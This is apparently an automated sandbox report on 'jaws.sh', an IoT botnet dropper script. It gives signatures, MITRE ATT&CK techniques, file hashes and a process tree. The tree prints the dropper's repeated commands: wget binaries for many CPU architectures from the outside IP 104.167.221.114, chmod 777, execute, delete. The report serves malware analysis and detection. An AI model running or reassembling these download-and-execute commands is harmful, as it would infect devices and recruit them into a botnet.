4668cc0e65567f34f0313a17aeaeff51496206add4a3dd82b3f4c04b3a66e9d9

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20250610-en
resource tags

arch:armhfimage:debian9-armhf-20250610-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
17/06/2025, 04:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaws.sh
Size 2KB
Sample250617-e2q5bsbn9w
SHA256 4668cc0e65567f34f0313a17aeaeff51496206add4a3dd82b3f4c04b3a66e9d9
MD5 708dfe5a75c188671b5b215b313f8a78
SHA1 55db3b9deda5bbb7018fdc9b696690a1ad5f3273
SHA512 692a4ea859b2182bfc71d41f683871f2414c158fd4bbf80ca18df79cf5a895325388f7681dc61e8532f54058c4eef7c5aab20610d2f8f743a98a69b414db5978
MD5 SHA1 SHA512

Score

9^/10

credential_access defense_evasion discovery

Malware Config

Signatures

Contacts a large (3990) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
742	chmod
766	chmod
1156	chmod
1358	chmod
1555	chmod
1827	chmod
747	chmod
754	chmod
759	chmod
947	chmod
1042	chmod
1115	chmod
1258	chmod
1532	chmod

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/mips	743	jaws.sh
/tmp/mipsel	748	jaws.sh
/tmp/sh4	755	jaws.sh
/tmp/x86_64	760	jaws.sh
/tmp/arm6	767	jaws.sh
/tmp/i686	948	jaws.sh
/tmp/powerpc	1043	jaws.sh
/tmp/x86	1116	jaws.sh
/tmp/m68k	1157	jaws.sh
/tmp/spc	1259	jaws.sh
/tmp/arm	1359	jaws.sh
/tmp/arm5	1533	jaws.sh
/tmp/arm7	1828	jaws.sh

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Enumerates running processes
Discovers information about currently running processes on the system

Reads system routing table 1 TTPs 4 IoCs

Gets active network interfaces from /proc virtual filesystem.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	arm6
File opened for reading	/proc/net/route	arm
File opened for reading	/proc/net/route	arm5
File opened for reading	/proc/net/route	arm7

Reads process memory 1 TTPs 64 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/984/maps	arm6
File opened for reading	/proc/26/maps	arm
File opened for reading	/proc/167/maps	arm7
File opened for reading	/proc/2/maps	arm6
File opened for reading	/proc/13/maps	arm6
File opened for reading	/proc/23/maps	arm6
File opened for reading	/proc/106/maps	arm6
File opened for reading	/proc/977/maps	arm6
File opened for reading	/proc/287/maps	arm
File opened for reading	/proc/815/maps	arm6
File opened for reading	/proc/17/maps	arm
File opened for reading	/proc/167/maps	arm
File opened for reading	/proc/11/maps	arm5
File opened for reading	/proc/329/maps	arm7
File opened for reading	/proc/29/maps	arm6
File opened for reading	/proc/588/maps	arm6
File opened for reading	/proc/16/maps	arm
File opened for reading	/proc/635/maps	arm7
File opened for reading	/proc/7/maps	arm
File opened for reading	/proc/588/maps	arm
File opened for reading	/proc/299/maps	arm7
File opened for reading	/proc/287/maps	arm6
File opened for reading	/proc/969/maps	arm6
File opened for reading	/proc/14/maps	arm5
File opened for reading	/proc/7/maps	arm7
File opened for reading	/proc/9/maps	arm
File opened for reading	/proc/320/maps	arm5
File opened for reading	/proc/588/maps	arm5
File opened for reading	/proc/636/maps	arm7
File opened for reading	/proc/152/maps	arm5
File opened for reading	/proc/640/maps	arm5
File opened for reading	/proc/135/maps	arm7
File opened for reading	/proc/637/maps	arm7
File opened for reading	/proc/580/maps	arm
File opened for reading	/proc/18/maps	arm7
File opened for reading	/proc/23/maps	arm7
File opened for reading	/proc/951/maps	arm6
File opened for reading	/proc/23/maps	arm5
File opened for reading	/proc/42/maps	arm5
File opened for reading	/proc/15/maps	arm7
File opened for reading	/proc/630/maps	arm6
File opened for reading	/proc/15/maps	arm
File opened for reading	/proc/152/maps	arm
File opened for reading	/proc/7/maps	arm5
File opened for reading	/proc/17/maps	arm5
File opened for reading	/proc/26/maps	arm7
File opened for reading	/proc/10/maps	arm
File opened for reading	/proc/29/maps	arm
File opened for reading	/proc/165/maps	arm
File opened for reading	/proc/41/maps	arm5
File opened for reading	/proc/165/maps	arm5
File opened for reading	/proc/28/maps	arm7
File opened for reading	/proc/299/maps	arm6
File opened for reading	/proc/994/maps	arm6
File opened for reading	/proc/142/maps	arm5
File opened for reading	/proc/2/maps	arm7
File opened for reading	/proc/20/maps	arm7
File opened for reading	/proc/886/maps	arm6
File opened for reading	/proc/888/maps	arm6
File opened for reading	/proc/19/maps	arm5
File opened for reading	/proc/587/maps	arm7
File opened for reading	/proc/895/maps	arm6
File opened for reading	/proc/329/maps	arm
File opened for reading	/proc/297/maps	arm5

Changes its process name 4 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	767	arm6
Changes the process name, possibly in an attempt to hide itself	1359	arm
Changes the process name, possibly in an attempt to hide itself	1533	arm5
Changes the process name, possibly in an attempt to hide itself	1828	arm7

Reads system network configuration 1 TTPs 4 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	arm5
File opened for reading	/proc/net/route	arm7
File opened for reading	/proc/net/route	arm6
File opened for reading	/proc/net/route	arm

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1088/maps	arm6
File opened for reading	/proc/1531/maps	arm5
File opened for reading	/proc/2614/maps	arm7
File opened for reading	/proc/2240/maps	arm7
File opened for reading	/proc/3019/maps	arm7
File opened for reading	/proc/3132/maps	arm7
File opened for reading	/proc/3290/maps	arm7
File opened for reading	/proc/1046/maps	arm6
File opened for reading	/proc/2150/maps	arm7
File opened for reading	/proc/2904/maps	arm7
File opened for reading	/proc/2932/maps	arm7
File opened for reading	/proc/1257/maps	arm
File opened for reading	/proc/2027/maps	arm7
File opened for reading	/proc/2737/maps	arm7
File opened for reading	/proc/1050/maps	arm6
File opened for reading	/proc/1483/maps	arm
File opened for reading	/proc/1775/maps	arm5
File opened for reading	/proc/2143/maps	arm7
File opened for reading	/proc/2442/maps	arm7
File opened for reading	/proc/3423/maps	arm7
File opened for reading	/proc/1482/maps	arm
File opened for reading	/proc/2626/maps	arm7
File opened for reading	/proc/1204/maps	arm6
File opened for reading	/proc/2035/maps	arm7
File opened for reading	/proc/2129/maps	arm7
File opened for reading	/proc/2322/maps	arm7
File opened for reading	/proc/2444/maps	arm7
File opened for reading	/proc/2728/maps	arm7
File opened for reading	/proc/3331/maps	arm7
File opened for reading	/proc/1182/maps	arm6
File opened for reading	/proc/1680/maps	arm5
File opened for reading	/proc/1773/maps	arm5
File opened for reading	/proc/1969/maps	arm7
File opened for reading	/proc/2437/maps	arm7
File opened for reading	/proc/2511/maps	arm7
File opened for reading	/proc/2598/maps	arm7
File opened for reading	/proc/3222/maps	arm7
File opened for reading	/proc/1361/maps	arm6
File opened for reading	/proc/2062/maps	arm7
File opened for reading	/proc/3325/maps	arm7
File opened for reading	/proc/1193/maps	arm6
File opened for reading	/proc/1671/maps	arm5
File opened for reading	/proc/1964/maps	arm7
File opened for reading	/proc/2160/maps	arm7
File opened for reading	/proc/1085/maps	arm6
File opened for reading	/proc/1363/maps	arm
File opened for reading	/proc/1783/maps	arm5
File opened for reading	/proc/2358/maps	arm7
File opened for reading	/proc/2732/maps	arm7
File opened for reading	/proc/3112/maps	arm7
File opened for reading	/proc/3206/maps	arm7
File opened for reading	/proc/2163/maps	arm7
File opened for reading	/proc/2629/maps	arm7
File opened for reading	/proc/2735/maps	arm7
File opened for reading	/proc/3026/maps	arm7
File opened for reading	/proc/1865/maps	arm7
File opened for reading	/proc/3008/maps	arm7
File opened for reading	/proc/1073/maps	arm6
File opened for reading	/proc/self/maps	arm5
File opened for reading	/proc/1780/maps	arm5
File opened for reading	/proc/1781/maps	arm5
File opened for reading	/proc/3128/maps	arm7
File opened for reading	/proc/1169/maps	arm6
File opened for reading	/proc/2927/maps	arm7

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
743	mips
745	rm
746	wget
748	mipsel
750	rm
645	wget

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mipsel	wget
File opened for modification	/tmp/sh4	wget
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/i686	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/spc	wget
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/powerpc	wget
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/arm7	wget

/tmp/jaws.sh
/tmp/jaws.sh
1⤵
- Executes dropped EXE
PID:640
- /usr/bin/wget
  wget http://104.167.221.114/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:645
- /bin/chmod
  chmod 777 mips
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/mips
  ./mips jaws
  2⤵
  - System Network Configuration Discovery
  PID:743
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:745
- /usr/bin/wget
  wget http://104.167.221.114/mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod 777 mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/mipsel
  ./mipsel jaws
  2⤵
  - System Network Configuration Discovery
  PID:748
- /bin/rm
  rm -rf mipsel
  2⤵
  - System Network Configuration Discovery
  PID:750
- /usr/bin/wget
  wget http://104.167.221.114/sh4
  2⤵
  - Writes file to tmp directory
  PID:751
- /bin/chmod
  chmod 777 sh4
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/sh4
  ./sh4 jaws
  2⤵
  PID:755
- /bin/rm
  rm -rf sh4
  2⤵
  PID:757
- /usr/bin/wget
  wget http://104.167.221.114/x86_64
  2⤵
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/x86_64
  ./x86_64 jaws
  2⤵
  PID:760
- /bin/rm
  rm -rf x86_64
  2⤵
  PID:762
- /usr/bin/wget
  wget http://104.167.221.114/arm6
  2⤵
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod 777 arm6
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/arm6
  ./arm6 jaws
  2⤵
  - Reads system routing table
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:767
- /bin/rm
  rm -rf arm6
  2⤵
  PID:770
- /usr/bin/wget
  wget http://104.167.221.114/i686
  2⤵
  - Writes file to tmp directory
  PID:771
- /bin/chmod
  chmod 777 i686
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/i686
  ./i686 jaws
  2⤵
  PID:948
- /bin/rm
  rm -rf i686
  2⤵
  PID:950
- /usr/bin/wget
  wget http://104.167.221.114/powerpc
  2⤵
  - Writes file to tmp directory
  PID:951
- /bin/chmod
  chmod 777 powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1042
- /tmp/powerpc
  ./powerpc jaws
  2⤵
  PID:1043
- /bin/rm
  rm -rf powerpc
  2⤵
  PID:1045
- /usr/bin/wget
  wget http://104.167.221.114/x86
  2⤵
  - Writes file to tmp directory
  PID:1046
- /bin/chmod
  chmod 777 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1115
- /tmp/x86
  ./x86 jaws
  2⤵
  PID:1116
- /bin/rm
  rm -rf x86
  2⤵
  PID:1118
- /usr/bin/wget
  wget http://104.167.221.114/m68k
  2⤵
  - Writes file to tmp directory
  PID:1119
- /bin/chmod
  chmod 777 m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1156
- /tmp/m68k
  ./m68k jaws
  2⤵
  PID:1157
- /bin/rm
  rm -rf m68k
  2⤵
  PID:1159
- /usr/bin/wget
  wget http://104.167.221.114/spc
  2⤵
  - Writes file to tmp directory
  PID:1160
- /bin/chmod
  chmod 777 spc
  2⤵
  - File and Directory Permissions Modification
  PID:1258
- /tmp/spc
  ./spc jaws
  2⤵
  PID:1259
- /bin/rm
  rm -rf spc
  2⤵
  PID:1261
- /usr/bin/wget
  wget http://104.167.221.114/arm
  2⤵
  - Writes file to tmp directory
  PID:1262
- /bin/chmod
  chmod 777 arm
  2⤵
  - File and Directory Permissions Modification
  PID:1358
- /tmp/arm
  ./arm jaws
  2⤵
  - Reads system routing table
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1359
- /bin/rm
  rm -rf arm
  2⤵
  PID:1362
- /usr/bin/wget
  wget http://104.167.221.114/arm5
  2⤵
  - Writes file to tmp directory
  PID:1363
- /bin/chmod
  chmod 777 arm5
  2⤵
  - File and Directory Permissions Modification
  PID:1532
- /tmp/arm5
  ./arm5 jaws
  2⤵
  - Reads system routing table
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1533
- /bin/rm
  rm -rf arm5
  2⤵
  PID:1536
- /usr/bin/wget
  wget http://104.167.221.114/ppc4fp
  2⤵
  PID:1537
- /bin/chmod
  chmod 777 ppc4fp
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /tmp/ppc4fp
  ./ppc4fp jaws
  2⤵
  PID:1572
- /bin/rm
  rm -rf ppc4fp
  2⤵
  PID:1578
- /usr/bin/wget
  wget http://104.167.221.114/arm7
  2⤵
  - Writes file to tmp directory
  PID:1586
- /bin/chmod
  chmod 777 arm7
  2⤵
  - File and Directory Permissions Modification
  PID:1827
- /tmp/arm7
  ./arm7 jaws
  2⤵
  - Reads system routing table
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1828
- /bin/rm
  rm -rf arm7
  2⤵
  PID:1831

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

OS Credential Dumping

T1003

Proc Filesystem

T1003.007

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

arm

Path /tmp/arm
Size 98KB
SHA256 9e774abe2146e123fc014227147fff9b934bce25186b23a4917ba4d48ee6534f
MD5 2501f00f4e34464101c00687d54725a7
SHA1 e7d0b569be939d5a930c6bc57674b3bb6e1b61e7
SHA512 42547872c406fd920d6e91701bb48e66bb80d02b6fc67c524bee47ec8a932184953c17649af7fead4bbd6c96afb33cc39ee057e68fb0cb3f703c9fc549bfa795
SSDEEP 1536:LgWu7DRg6vUNT77pVS+qAmw6vP0BzrH41TbOPMvZic:uRg6vs77pVS+qM6X0trH41TZl
MD5 SHA1 SHA512 SSDEEP

Submit Download

arm5

Path /tmp/arm5
Size 98KB
SHA256 e70bcc50967d42e998fda61e96d4b02afcb214db17e187801d6efd6e00ef2654
MD5 5b18f63a702c64f3cf73726e746db25a
SHA1 2ee14d761b5fe2d63eb7596843305d1cd49a36b3
SHA512 3e32dc510d1e96a6e15e8c6fad665ca6d32cf5457992f90e04f0109005350da898109dde533f7a6388345bb1a6781d15cba73f31a8072cf917686b001f3da64a
SSDEEP 1536:ZgWu7DRg6vUNT77pVSfqAmw6vP0BzrRt1TbOKMvZic:8Rg6vs77pVSfqM6X0trRt1T0l
MD5 SHA1 SHA512 SSDEEP

Submit Download

arm6

Path /tmp/arm6
Size 113KB
SHA256 42ef3caed92ec3ac1831c2fe5c911a0c0cdce56031c1b0f3f44d6478d9571c16
MD5 c85065af73e64c4eda929be62856fcd6
SHA1 e368b532f9427d428709c31a81f379b40603285e
SHA512 38ef1455d0b7def1b67e42e62b134caf6b4768dbad1f113dc6e4e71ebf3c003e356bb8fd70863e9094a57d2da9ad3d0709e4260436dcbba2462b6e7fb34d7886
SSDEEP 3072:gS+kp/14l3EXpGEQtj+MCPYaUocGBiNV4tjxEL:gS+kp/14l3E0w3UoRir0Vg
MD5 SHA1 SHA512 SSDEEP

Submit Download

arm7

Path /tmp/arm7
Size 150KB
SHA256 3902bc3972b09116c20172a0603592072d780a683cf026a5aaf69a2bee0b29c2
MD5 61621dfd41e6d97a213d2eeb272790d1
SHA1 bcdf991fd040335dd6a7395ae01f8c4a4d42a6d6
SHA512 c6bad86963a5f9c4fde796668debba2eebaced3ca83c538e133aae88f31c3dd9399f4a29751288017479ca86ad5982c07c2439776c6285fbc5b54c7ac212f59f
SSDEEP 3072:q+kp/14lkWPVvqQIj+kpMqPklB07i4K6Qp+BkYM/9D/a:q+kp/14lkW+7PklB07zKT+BZM/9W
MD5 SHA1 SHA512 SSDEEP

Submit Download

i686

Path /tmp/i686
Size 74KB
SHA256 f3781943e3e1705b9aae678aceb2f639439b736c1e3bdc90c46094a815332c5f
MD5 1a49caf8abfe53169766a901aaa99c17
SHA1 ed6ad73ae785058c461e19b9a81201198d92917c
SHA512 7ab1ac458af01185c777e08a06983ebf40aed67ff5430b0ff26f6c3309c50e66d2410070c186a08388ffa1e458abfe4c26032b51850a99abb370521eceed3df5
SSDEEP 1536:NLvf5C5ycPg9KFqEwlKbmrupT2CMYTJES7EKI+6Bs/b:lvxYycP+KFqEwlKh2CjTJES7/b
MD5 SHA1 SHA512 SSDEEP

Submit Download

m68k

Path /tmp/m68k
Size 80KB
SHA256 c03dbdf9e3a866a3de4e0ee16f079074638861a0d43d405793820253f179c321
MD5 bea2f8637ae7522fc7857eff95b92626
SHA1 9cbf3765364e49530d86dbc3db428b4f7227430b
SHA512 8e9562704e9e9157f680c24710b349cece41fcef92c2004a617c36b2e5d6c3b58cb08d44c5081a4c435d9cd39a19904807430ea60d930a8b9ab9b49373ee110a
SSDEEP 1536:mVoCOPi0yA5/AYn7ijBzyBA6+leyW8YnKbI0IR0SuMkuh:i7s5/fnSBzyElvEKbUy6h
MD5 SHA1 SHA512 SSDEEP

Submit Download

mips

Path /tmp/mips
Size 127KB
SHA256 d13ef2d656203d17db903a9f0790a95d93b75df4c0dc5bfdbe317dc2efff80b3
MD5 009813b56a911b80fd0f9336aa0236a3
SHA1 e76e0b08e90e7b64282dfa9c2e43e2363a4ba070
SHA512 71a805eef2012471ee0e7e1aab46bf31c29edd6862ccef4ea07ee0b7039e005ad0981c1aa5d3ce7185b5b1b943319950c59dcc37c657518e04de22b49bb2a0e0
SSDEEP 3072:tPGGFOiVoNIFZIDu7bt3BbwcFy8BWKsdGJT:tuGFFoNI7IDAp
MD5 SHA1 SHA512 SSDEEP

Submit Download

mipsel

Path /tmp/mipsel
Size 127KB
SHA256 9f9782b7ad49ef3f07de1857ef1d25533664c77756564499fd9d90ac9b8a7b1b
MD5 f70f8ca97c8b8230e17ed4289ecefd39
SHA1 3fbb1affea9b213c387becb6cc9ba4c72e672baa
SHA512 1d3468bd611c56f015bfc8b00ba7b429af1e3de823f99c307f4bbb968673e72fb357325de6d6b584d68380bc38e289a989dd33aed169fb73b593fe15da5d430a
SSDEEP 1536:FpJATfzYxYAqExXI3wQA0IHs+I7+zaBCCkbqnwrlgOK8MT:MzeoIesEnwgJT
MD5 SHA1 SHA512 SSDEEP

Submit Download

powerpc

Path /tmp/powerpc
Size 91KB
SHA256 19c9de5d8df2080b4fa014822135c791ab6ac473908f8f59077f726a47bf4d68
MD5 bf3808784220e9dfb178a075979bc81e
SHA1 41edc63f1fb71dee3dbf5bbafbc5ccf93b9891e0
SHA512 d0dea51ab73c9b493e594f4bf47c04840969e1e2c0133f408fab251c1a5ec759c367ee699fa3e4325448471ee25e9b8abb51c3cc3aefaf602adad97c6f0d7661
SSDEEP 1536:JfPrXY8+dg4PsVV61pnW5xanpr4nPoH1q/3jRPDrIMUMyD:JX7Y8Iqk15W5xaC9Dy
MD5 SHA1 SHA512 SSDEEP

Submit Download

sh4

Path /tmp/sh4
Size 86KB
SHA256 8af6a72b858a3301a95026b32eec78d8340ed7d67088e9d40bd97d1ce172f8aa
MD5 6e81f8cfeab015293d61d6a56f687293
SHA1 9aabb97a7083fd0abf61b564f622b75084015415
SHA512 bee54c277cc160b93e753dafb1ac96d33ec11e63f4c79d2c612a290d3dce1d793b20668a32a386068e7884f888aad0b3df45db99649594509180b06932b21d9b
SSDEEP 1536:4wEErqOQh3+mB3p9av3+ZmFO/RjkQgQASNJuS+FpCrC2f3saM/u2:UoqOQhuI3HaP+ZBxgQAyJyFpYE82
MD5 SHA1 SHA512 SSDEEP

Submit Download

spc

Path /tmp/spc
Size 102KB
SHA256 bafd73e92927ce7fb9ff2c32b1363644ade1ed569d634df3f8e9eef45f67bcb4
MD5 6a0391a20f058bd169b55d21ee443641
SHA1 622a4668ecb11d0529a7a456d269eaf502f36baa
SHA512 1a8632886f9de5c494a0db04daec52c71143d2b5fee8ff26eba9de4ffea975b6e688a7e77e5f1aa3072ac992bf5fb32acef431cb50594c4768d7fdcc51668a98
SSDEEP 1536:BAk5tLD3x65mNlLDj//Jm6CxKBmaMLuK9:BAKLtTb//Y6iKBLs
MD5 SHA1 SHA512 SSDEEP

Submit Download

x86

Path /tmp/x86
Size 74KB
SHA256 6799639861c353722a3a6a4cebb20cfd6795ee38e714098e25a0419f21bb64a0
MD5 84c6c18401ae5b86359d781093807116
SHA1 2196f516fc4a29c05195e5ed62176afd22e3d395
SHA512 2d8165570fbaa1aaef2a12e6ef9b9650db0e7d0a26be906f64a74953e1ef80570f3bab96734ff2c28e00b2a443727b9fe349ec80d4250d8612446bf8a35a9468
SSDEEP 1536:6wZWmCqzDgAimwR5lzMgXOrqq+77+FyxNOVYvTsEBalqxxbnxgwQ2SWgTjnlSMdM:6wZDCqzDgAdgJeWq+77+FyxNOmvAEBay
MD5 SHA1 SHA512 SSDEEP

Submit Download

x86_64

Path /tmp/x86_64
Size 80KB
SHA256 71fc57877fc30df8701b5074ea6ae938e8aa85935da4a308d2e5fa4a6cde4a9b
MD5 521891166292f39ddb5b967e585e44d6
SHA1 76af06c6567f2aca34315ead214e40a191f9e773
SHA512 265b6cd6099a2bebf2c730d9b797aa248b993f6499f2a5052b6633aa775f1141cabcdab7c78aa51cf28e2d964d8db2536abc48a346232bb64ba55858d342996b
SSDEEP 1536:jrKzUiCV1pLVfwRenyrhZ6Y7K3DD+7TSiZHBsTi:/Kz8fuRcMK3v+tii
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads